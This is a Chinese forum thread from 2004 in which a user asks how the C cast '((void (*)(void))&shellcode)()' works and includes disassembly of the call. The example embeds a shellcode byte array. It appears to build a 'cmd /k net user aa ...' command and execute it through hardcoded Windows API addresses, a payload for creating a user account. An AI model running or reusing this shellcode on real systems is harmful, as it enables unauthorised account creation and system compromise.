标题:关于((void) (*)(void))&shellcode)();的疑惑
取消只看楼主
忆楠
Rank: 1
等 级:新手上路
帖 子:721
专家分:0
注 册:2004-7-5
 问题点数:0 回复次数:1 
关于((void) (*)(void))&shellcode)();的疑惑

比如: #include <stdio.h> unsigned char shellcode[]="\x68\xC1\x15\x35\x09\x81\x2C\x24\x80\xD1\xF0\x08" "\x68\x61\x61\x20\x2f\x68\x73\x65\x72\x20\x68\x65\x74\x20\x75\x68\x2f\x6b\x20\x6e" "\x68\x63\x6d\x64\x20\x8b\xc4\x6a\x01\x50\xb8\x35\xfd\xe4\x77\xff\xd0\xb8\xfd\x98\xe5\x77\xff\xd0"; int main() { ((void (*)(void))&shellcode)( ); return 0; } &shellcode是数组shellcode的首地址,&shellcode后面加个( )就应该是表示一个函数,反汇编一看也证实了我的想法, 7: int main() 8: 9: { 00401010 push ebp 00401011 mov ebp,esp 00401013 push esi 10: ((void (*)(void))&shellcode)(); 00401014 mov eax,offset _shellcode (00411a30) 00401019 mov esi,esp 0040101B call eax 0040101D cmp esi,esp 0040101F call __chkesp (00401040) 11: return 0; 00401024 xor eax,eax 12: 13: } 那么&shellcode前面的那个 ((void (*)(void))是不是表示该函数返回指向任意类型的指针?我的C语言也太烂了,请知道的兄弟指点一二,我十分感谢。

我帮朋友问的问题 请大家帮帮忙

搜索更多相关主题的帖子: void shellcode 
2004-09-14 21:11
忆楠
Rank: 1
等 级:新手上路
帖 子:721
专家分:0
注 册:2004-7-5
得分:0 
自己顶一下   大家都来看看  随便发表点意见也可以

点 鼠 标 , 救 饥 民 http://www./
2004-09-19 21:48



参与讨论请移步原网站贴子:https://bbs.bccn.net/thread-5307-1-1.html




关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.047265 second(s), 8 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved